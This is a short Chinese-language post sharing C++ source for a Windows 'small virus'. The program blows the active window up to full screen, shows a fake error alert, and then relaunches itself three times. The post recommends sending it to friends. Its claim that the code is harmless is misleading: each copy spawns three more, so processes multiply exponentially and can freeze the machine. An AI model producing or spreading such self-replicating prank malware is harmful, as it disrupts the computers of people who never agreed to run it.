C++小病毒(注:对电脑无过大伤害)
短短行,创造奇迹!
把这个文件命名为virus.exe就可以使用了。
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{HWND hwnd = GetForegroundWindow();int cx = GetSystemMetrics(SM_CXSCREEN);//需要根据电脑的大小设置加减int cy = GetSystemMetrics(SM_CYSCREEN);//需要根据电脑的大小设置加减LONG_PTR last_style=GetWindowLongPtr(hwnd,GWL_STYLE);RECT last_rect;GetWindowRect(hwnd,&last_rect);LONG l_WinStyle = GetWindowLong(hwnd,GWL_STYLE);SetWindowLong(hwnd,GWL_STYLE,(l_WinStyle | WS_POPUP | WS_MAXIMIZE)& ~WS_CAPTION & ~WS_THICKFRAME & ~WS_BORDER);SetWindowPos(hwnd, NULL, 0, 0, cx, cy, 0);UpdateWindow(hwnd);MessageBox(0,"电脑出现了问题!","警报",MB_ICONERROR);system("start virus.exe");system("start virus.exe");system("start virus.exe");return 0;
}
无实质性伤害,推荐送给好友!